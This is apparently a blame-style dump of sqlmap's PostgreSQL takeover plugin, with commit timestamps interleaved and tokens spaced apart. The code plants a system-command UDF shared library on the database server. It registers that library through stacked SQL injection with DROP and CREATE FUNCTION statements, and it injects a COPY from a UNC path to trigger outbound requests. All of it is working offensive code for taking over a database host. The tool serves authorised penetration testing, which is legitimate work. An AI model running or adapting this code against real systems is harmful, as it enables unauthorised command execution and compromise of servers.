2010-03-23 01:57:57 +03:00
#!/usr/bin/env python
"""
$ Id $
2010-10-14 18:41:14 +04:00
Copyright ( c ) 2006 - 2010 sqlmap developers ( http : / / sqlmap . sourceforge . net / )
2010-10-15 03:18:29 +04:00
See the file ' doc/COPYING ' for copying permission
2010-03-23 01:57:57 +03:00
"""
from lib . core . common import randomStr
2011-04-08 15:15:19 +04:00
from lib . core . common import readInput
2010-03-23 01:57:57 +03:00
from lib . core . data import kb
from lib . core . data import logger
from lib . core . data import paths
from lib . core . exception import sqlmapUnsupportedFeatureException
from lib . request import inject
from plugins . generic . takeover import Takeover as GenericTakeover
class Takeover ( GenericTakeover ) :
def __init__ ( self ) :
GenericTakeover . __init__ ( self )
def udfSetRemotePath ( self ) :
# On Windows
if kb . os == " Windows " :
# The DLL can be in any folder where postgres user has
# read/write/execute access is valid
# NOTE: by not specifing any path, it will save into the
# data directory, on PostgreSQL 8.3 it is
# C:\Program Files\PostgreSQL\8.3\data.
self . udfRemoteFile = " %s . %s " % ( self . udfSharedLibName , self . udfSharedLibExt )
# On Linux
else :
# The SO can be in any folder where postgres user has
# read/write/execute access is valid
self . udfRemoteFile = " /tmp/ %s . %s " % ( self . udfSharedLibName , self . udfSharedLibExt )
def udfSetLocalPaths ( self ) :
self . udfLocalFile = paths . SQLMAP_UDF_PATH
self . udfSharedLibName = " libs %s " % randomStr ( lowercase = True )
self . getVersionFromBanner ( )
banVer = kb . bannerFp [ " dbmsVersion " ]
if banVer > = " 8.4 " :
majorVer = " 8.4 "
elif banVer > = " 8.3 " :
majorVer = " 8.3 "
elif banVer > = " 8.2 " :
majorVer = " 8.2 "
else :
errMsg = " unsupported feature on versions of PostgreSQL before 8.2 "
raise sqlmapUnsupportedFeatureException , errMsg
2011-04-08 15:15:19 +04:00
msg = " what is the back-end database management system architecture? "
msg + = " \n [1] 32-bit (default) "
msg + = " \n [2] 64-bit "
while True :
arch = readInput ( msg , default = ' 1 ' )
if isinstance ( arch , basestring ) and arch . isdigit ( ) and int ( arch ) in ( 1 , 2 ) :
if int ( arch ) == 1 :
arch = 32
else :
arch = 64
break
else :
warnMsg = " invalid value, valid values are 1 and 2 "
logger . warn ( warnMsg )
2010-03-23 01:57:57 +03:00
if kb . os == " Windows " :
2011-04-08 15:15:19 +04:00
self . udfLocalFile + = " /postgresql/windows/ %d / %s /lib_postgresqludf_sys.dll " % ( arch , majorVer )
2010-03-23 01:57:57 +03:00
self . udfSharedLibExt = " dll "
else :
2011-04-08 15:15:19 +04:00
self . udfLocalFile + = " /postgresql/linux/ %d / %s /lib_postgresqludf_sys.so " % ( arch , majorVer )
2010-03-23 01:57:57 +03:00
self . udfSharedLibExt = " so "
def udfCreateFromSharedLib ( self , udf , inpRet ) :
if udf in self . udfToCreate :
logger . info ( " creating UDF ' %s ' from the binary UDF file " % udf )
inp = " , " . join ( i for i in inpRet [ " input " ] )
ret = inpRet [ " return " ]
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
2011-03-08 13:46:23 +03:00
inject . goStacked ( " DROP FUNCTION %s ( %s ) " % ( udf , inp ) )
2010-03-23 01:57:57 +03:00
inject . goStacked ( " CREATE OR REPLACE FUNCTION %s ( %s ) RETURNS %s AS ' %s ' , ' %s ' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE " % ( udf , inp , ret , self . udfRemoteFile , udf ) )
self . createdUdf . add ( udf )
else :
logger . debug ( " keeping existing UDF ' %s ' as requested " % udf )
def uncPathRequest ( self ) :
self . createSupportTbl ( self . fileTblName , self . tblField , " text " )
inject . goStacked ( " COPY %s ( %s ) FROM ' %s ' " % ( self . fileTblName , self . tblField , self . uncPath ) , silent = True )
self . cleanup ( onlyFileTbl = True )